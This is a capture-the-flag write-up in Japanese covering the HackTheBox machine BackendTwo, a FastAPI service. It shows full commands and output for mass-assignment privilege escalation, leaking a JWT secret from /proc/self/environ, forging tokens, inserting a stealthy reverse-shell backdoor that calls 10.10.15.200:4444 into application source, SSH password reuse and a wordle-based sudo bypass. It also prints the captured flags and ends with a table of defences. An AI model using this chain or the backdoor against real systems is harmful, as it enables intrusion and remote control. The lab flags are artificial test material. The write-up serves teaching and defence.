HackTheBox: BackendTwo — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH(22) + uvicorn(80)
→
SSH(22) + uvicorn(80)
signup/login
一般ユーザ登録・JWT取得
→
一般ユーザ登録・JWT取得
Mass Assignment
is_superuser を自己付与
→
is_superuser を自己付与
/proc/self/environ
JWT署名鍵 API_KEY 漏洩
→
JWT署名鍵 API_KEY 漏洩
JWT 自前偽造
debug=true クレーム注入
→
debug=true クレーム注入
Write File RCE
user.py にバックドア差込
→
user.py にバックドア差込
auth.log
パスワード使い回し発覚
→
パスワード使い回し発覚
SSH as htb
user.txt ✓
→
user.txt ✓
sudo -l + pam_wordle
5文字単語当てゲーム突破
→
5文字単語当てゲーム突破
sudo su
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -p- --min-rate 500 -T4 10.129.227.139 nmap -sV -sC -p 22,80 10.129.227.139
RESULT
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http uvicorn
ℹ️
SSHバナーから Ubuntu 20.04 focal と判明。80番ポートは
uvicorn (Python ASGI サーバ)
で応答しており、Webサーバではなく JSON API サーバであることが伺える。
API のトップレベル構造を確認
BASH
curl -s http://10.129.227.139/ | jq .
RESULT
{"msg":"UHC Api v2.0"}
BASH (feroxbuster で API エンドポイント列挙)
feroxbuster -u http://10.129.227.139 --force-recursion -C 404,405 -m GET,POST
RESULT
200 GET / 200 GET /api 401 GET /docs ← 認証必須 200 GET /api/v1 307 GET,POST /api/v1/admin => /api/v1/admin/ 422 POST /api/v1/user/login 422 POST /api/v1/user/signup
ℹ️
FastAPI アプリ特有の挙動として、
/api/v1/user/{数値} は GET でユーザー情報を返し、
数値以外を渡すと 422 Unprocessable Entity になる。/docs (Swagger UI) は
認証が必要だが、これはこの後 JWT を手に入れて閲覧する。
PHASE 2
ユーザー登録 & Mass Assignment で admin 化
ユーザー登録・ログインして JWT を取得
BASH
curl -s -X POST -d '{"email": "pwn3r@backendtwo.htb", "password": "Pwn3rPass123!"}' \
http://10.129.227.139/api/v1/user/signup -H "Content-Type: application/json"
curl -s -d 'username=pwn3r@backendtwo.htb&password=Pwn3rPass123!' \
http://10.129.227.139/api/v1/user/login | jq .
RESULT
{"access_token": "eyJhbGciOiJIUzI1NiIs...", "token_type": "bearer"}
ℹ️
jwt.io でトークンをデコードすると
{"type": "access_token", "sub": "12", "is_superuser": false, ...}
のようなクレームが見える。sub が自分のユーザーID。/docs に
Authorization: Bearer <token> ヘッダーを付けてアクセスすると Swagger UI が開き、
user グループに「Edit Profile」「Edit Password」、admin グループに
「Get File」「Write File」等のエンドポイント一覧が確認できる。
Mass Assignment 脆弱性で is_superuser を自己付与
NOTE
「Edit Profile」エンドポイント (PUT /api/v1/user/{id}/edit) は Swagger 上では
"profile" キーのみ受け付けるように見えるが、FastAPI/Pydantic モデルが
過剰なフィールドを黙って受理・保存してしまう Mass Assignment 脆弱性がある。
JSON body に is_superuser フィールドを追加で送るだけで DB 上そのまま反映される。
BASH
curl -s -X PUT http://10.129.227.139/api/v1/user/12/edit \
-H "Content-Type: application/json" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..." \
-d '{"profile": "pwned", "is_superuser": true}'
RESULT
{"result": "true"}
再ログインして admin 権限を含む新しい JWT を取得
NOTE
is_superuser は DB には反映されたが、既に発行済みの JWT には古いクレームが 埋め込まれたままなので admin 権限は即座には反映されない。再ログインして is_superuser: true を含む新しい JWT を取得する必要がある。
BASH
curl -s -d 'username=pwn3r@backendtwo.htb&password=Pwn3rPass123!' \ http://10.129.227.139/api/v1/user/login | jq -r .access_token
✅
新しいトークンをデコードすると
"is_superuser": true を確認できる。
GET /api/v1/admin/ (Admin Check) にこのトークンを付けてアクセスすると
true が返る。
PHASE 3
/proc/self/environ からの JWT 署名鍵漏洩と偽造
admin の「Get File」エンドポイントで任意ファイル読取
NOTE
「Get File」(GET /api/v1/admin/file/{filename}) はファイル名を URL-safe base64
(標準base64の + / を - _ に置換、パディング = は省略可) でエンコードして渡す。
BASH
get_file() {
FN=$(echo -n "$1" | base64 | tr '/+' '_-' | tr -d '=')
curl -s "http://10.129.227.139/api/v1/admin/file/$FN" \
-H "Authorization: Bearer $TOKEN" | jq -r '.file'
}
get_file /proc/self/environ | tr '\000' '\n'
RESULT
USER=htb
HOME=/home/htb
APP_MODULE=app.main:app
API_KEY=68b329da9893e34099c7d8ad5cb9c940
HOST=0.0.0.0
PWD=/home/htb
🚨
重大な情報漏洩。
get_file /home/htb/app/core/config.py のソースを確認すると
JWT_SECRET: str = os.environ['API_KEY'] となっており、環境変数 API_KEY が
そのまま JWT 署名鍵として使われていることが判明する。この鍵を握れば任意の JWT を
自由に偽造できる。
debug=true クレームを注入した JWT を自前署名
NOTE
get_file /home/htb/app/api/v1/endpoints/user.py のソースを読むと「Write File」 エンドポイントは current_user (JWTデコード結果) の debug フィールドを直接 チェックしており、DBのカラムには存在しないためAPI越しには設定できない。 JWT署名鍵を持っているので、望むクレームを足した新トークンを自分で発行すればよい。
PYTHON
import jwt token = "eyJhbGciOiJIUzI1NiIs..." # is_superuser=true の現行トークン secret = "68b329da9893e34099c7d8ad5cb9c940" # 漏洩した API_KEY user = jwt.decode(token, secret, algorithms=["HS256"]) user["debug"] = True forged = jwt.encode(user, secret, "HS256") print(forged)
BASH (Write File 動作確認)
curl -s http://10.129.227.139/api/v1/admin/file/L3RtcC8weGRm \
-H "Content-Type: application/json" \
-d '{"file": "string"}' \
-H "Authorization: Bearer $FORGED_TOKEN"
RESULT
{"result":"success"}
✅
Write File が使用可能に。 debug=true トークンでのみ書き込みが許可される
(ドキュメント上には存在しないクレームだが、署名鍵さえ握っていれば正規のトークンとして
検証を通過する)。
PHASE 4
ステルスなバックドア差込による RCE → user.txt
user.py にリバースシェルトリガーを差し込む
NOTE
uvicorn は --reload オプションで起動しており、監視対象ディレクトリ内の *.py ファイルの変更を検知すると自動的にアプリを再読み込みする。 fetch_user() エンドポイントの中に「user_id が -223 (通常あり得ない値) の場合だけリバースシェルを起動する」1行を差し込めば、サイトを止めずに ステルスなバックドアを設置できる。
PYTHON (差込前後の差分)
"""
Fetch a user by ID
"""
+ if user_id == -223:
+ import os; os.system("bash -c 'bash -i >& /dev/tcp/10.10.15.200/4444 0>&1'")
result = crud.user.get(db=db, id=user_id)
return result
BASH (Write File で書き戻す)
# get_file で /home/htb/app/api/v1/endpoints/user.py を取得し、
# result = crud.user.get(db=db, id=user_id) の直前に上記2行を挿入したうえで
# 改行を \n にエスケープし1行のJSON文字列にしてPOST
curl http://10.129.227.139/api/v1/admin/file/$(echo -n "/home/htb/app/api/v1/endpoints/user.py" | base64 | tr '/+' '_-' | tr -d '=') \
-H 'Content-Type: application/json' \
-d "{\"file\": \"$(cat modified_user_py_escaped.txt)\"}" \
-H "Authorization: Bearer $FORGED_TOKEN"
RESULT
{"result":"success"}
トリガーしてシェルを受信
BASH
nc -lnvp 4444 & curl http://10.129.227.139/api/v1/user/-223 # このリクエストは応答なくハングする
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.227.139] 46666 bash: cannot set terminal process group: Inappropriate ioctl for device bash: no job control in this shell htb@BackendTwo:~$ whoami htb
✅
RCE成功! htb ユーザとしてシェルを確立。
main.py 全体を
ワンライナー化して上書きする方法 (PDF記載の代替手段) も可能だが、その場合
--reload の再読込中サイトが ~30秒程度完全にダウンする。今回のように
既存エンドポイントの1行だけを差し込む方式ならサイトを止めずに済む。
auth.log のパスワード使い回しから SSH 資格情報を回収
BASH
htb@BackendTwo:~$ cat auth.log
RESULT
04/27/2022, 21:13:53 - Login Success for admin@htb.local
04/27/2022, 21:22:13 - Login Failure for 1qaz2wsx_htb!
04/27/2022, 21:23:48 - Login Success for admin@htb.local
⚠️
誰かが誤って ユーザー名欄にパスワードを入力してログイン失敗 した痕跡が
ログに残っている。この
1qaz2wsx_htb! は htb Linux ユーザの SSH パスワードと
して機能する (パスワード使い回し)。
BASH
sshpass -p '1qaz2wsx_htb!' ssh htb@10.129.227.139 htb@BackendTwo:~$ cat user.txt
RESULT
f2c823ef38259772e0630a7dcf8dd04c
user.txt — htb
f2c823ef38259772e0630a7dcf8dd04c
PHASE 5
pam_wordle チャレンジ突破 → root.txt
sudo -l が単語当てゲームを要求
BASH
htb@BackendTwo:~$ sudo -l
RESULT
[sudo] password for htb: --- Welcome to PAM-Wordle! --- A five character [a-z] word has been selected. You have 6 attempts to guess the word. After each guess you will receive a hint which indicates: ? - what letters are wrong. * - what letters are in the wrong spot. [a-z] - what letters are correct. --- Attempt 1 of 6 --- Word:
ℹ️
/etc/pam.d/sudo を見ると auth required pam_wordle.so が
pam_unix.so の後に追加されている。strings でこのモジュールを
解析すると単語リストのパス /opt/.words (74語、world-readable) が判明する。
単語リストとヒントで正解を絞り込む
BASH (別セッションで単語リストを閲覧)
htb@BackendTwo:~$ cat /opt/.words | wc -l 74
NOTE
ヒント文字列の読み方 (5文字、各位置ごとに1文字):
? → その位置の文字は単語のどこにも存在しない
* → その文字は単語に含まれるが位置が違う
実文字 → その位置は正解 (ヒントに推測した文字がそのまま表示される)
1手目 "write" → Hint->???** ("t","e" は含まれるが位置違い、w/r/i は不使用)
grep で絞り込む:
BASH
cat /opt/.words | grep t | grep e | grep -vE '(w|r|i)'
RESULT
futex setns cheat
RESULT (ゲーム画面)
--- Attempt 1 of 6 ---
Word: write
Hint->???**
--- Attempt 2 of 6 ---
Word: futex
Hint->??t*?
--- Attempt 3 of 6 ---
Word: cheat
Hint->??*?*
--- Attempt 4 of 6 ---
Word: setns
Correct!
Matching Defaults entries for htb on backendtwo:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User htb may run the following commands on backendtwo:
(ALL : ALL) ALL
✅
4手目の
setns で正解。候補を"?"は除外/"*"は位置違い/実文字は位置一致
の3方向で毎回フィルタしていけば、74語程度の候補数なら6回の試行以内に高確率で
収束する。htb は ALL:ALL (フルsudo権限) を持っていることが判明。
sudo su で root 昇格 → root.txt
BASH
htb@BackendTwo:~$ sudo su root@BackendTwo:/home/htb# cat /root/root.txt
RESULT
d9bf489e1da0d169889df239aa91ec92
root.txt
d9bf489e1da0d169889df239aa91ec92
ℹ️
sudo は直近の認証成功 (パスワード + wordle) を一定時間キャッシュするため、
sudo su はパスワードや wordle の再入力なしに即座に成功する。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — htb
f2c823ef38259772e0630a7dcf8dd04c
root.txt
d9bf489e1da0d169889df239aa91ec92
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Mass Assignment | PUT /api/v1/user/{id}/edit | 任意ユーザの admin (is_superuser) 昇格 | Critical | Pydantic モデルがドキュメント外のフィールドも黙って受理・保存する設計不備を悪用し、JSON body に is_superuser: true を追加送信するだけで自己昇格 |
| 情報漏洩 (/proc/self/environ) | GET /api/v1/admin/file/{base64url} | JWT 署名鍵 (API_KEY) の完全漏洩 | Critical | admin 専用ファイル読み取り機能を悪用し、Webサーバプロセス自身の /proc/self/environ を読み取って環境変数の JWT_SECRET を回収 |
| JWT クレーム注入 (署名鍵漏洩起因) | debug フィールドを使う Write File エンドポイント | ドキュメント外の管理者専用機能の有効化 | Critical | 漏洩した署名鍵で任意のクレーム (debug: true) を追加した JWT を自前生成し、本来到達できない書き込み専用エンドポイントへアクセス |
| 任意ファイル書き込み → RCE | POST /api/v1/admin/file/{base64url} | htb ユーザとしての任意コード実行 | Critical | uvicorn –reload のホットリロードを悪用し、アプリのソースコード (user.py) にリバースシェル起動コードを差し込んで書き戻すだけでコード実行に至る |
| パスワード使い回し (ログのユーザー名欄への誤入力) | ~/auth.log | SSH での横展開・user.txt 取得 | High | アプリ独自のログイン失敗ログに、ユーザーが誤ってパスワードをユーザー名欄に入力した平文の痕跡が残っており、そのままLinuxユーザーのSSHパスワードとして機能 |
| 推測可能なチャレンジワード (pam_wordle) | /etc/pam.d/sudo + /opt/.words | sudo フルアクセスへの権限昇格 | Medium | 単語候補ファイルが world-readable なうえヒント情報が逐次開示されるため、候補を機械的にフィルタリングするだけで高確率かつ短時間で正解を特定できる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + feroxbuster | uvicorn API, /api/v1 エンドポイント一覧 |
| 2 | 権限昇格 (API内) | Mass Assignment | is_superuser: true JWT |
| 3 | 秘密鍵漏洩 & 偽造 | /proc/self/environ + 自前JWT署名 | debug=true JWT |
| 4 | RCE | ソースコード差込 + uvicorn reload | user.txt (htb) |
| 5 | 権限昇格 | pam_wordle 自動突破 + sudo su | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| プロフィール更新用の Pydantic モデルが、API 公開スキーマにないフィールド (is_superuser 等) まで受理して DB に反映してしまう | 入力用スキーマ (UserUpdate 等) と DB モデルを明確に分離し、更新可能なフィールドをホワイトリストで厳密に限定する。response_model だけでなく入力側の Config.extra = "forbid" 等で余剰フィールドを拒否する。 |
| 管理者専用のファイル読み取り機能が /proc など任意のファイルシステムパスを読めてしまい、結果としてプロセス自身の環境変数 (秘密鍵) まで漏洩する | 読み取り対象パスをアプリケーション所定のディレクトリ配下に限定 (パストラバーサル対策と同様のサンドボックス化)。秘密鍵は環境変数でなくシークレット管理サービスから取得し、実行時にプロセスメモリ上のみに保持する設計を検討する。 |
| JWT の署名鍵が漏洩すると、アプリが認識していない任意のクレームを注入した「正規の」トークンを攻撃者が自由に発行できてしまう | 署名鍵はローテーション可能な形で安全に管理し(Secrets Manager等)、クレームのスキーマをサーバ側で厳密検証(未知のクレームは無視/拒否)する。認可判定はクレームの中身だけでなくDB側の最新状態と突き合わせる。 |
| 本番相当の環境で uvicorn の –reload (ホットリロード) が有効なままになっており、書き込み権限を得た攻撃者がソースコードの改変だけでコード実行に直結する | 本番環境では –reload を無効化する。管理者向けファイル書き込み機能自体、アプリケーションのソースコードディレクトリへの書き込みを許可すべきではない。 |
| アプリ独自のログイン失敗ログに、ユーザーの入力ミスとはいえ平文パスワードがそのまま記録される | ログにパスワードなど機微情報が記録されないよう、入力値のサニタイズ・マスキングを徹底する。パスワードの使い回しを防ぐため多要素認証やパスワードマネージャーの利用を促進する。 |
| sudo の追加認証 (pam_wordle) の候補ワードリストが world-readable であり、かつヒント情報を段階的に開示するため機械的総当たりに極めて弱い | 秘密性が要求されるデータファイルは適切なパーミッション (root:root 600 等) で保護する。段階的ヒント開示型の認証方式は本質的に情報漏洩を伴うため、追加の権限昇格ゲートとしては採用すべきでない。 |

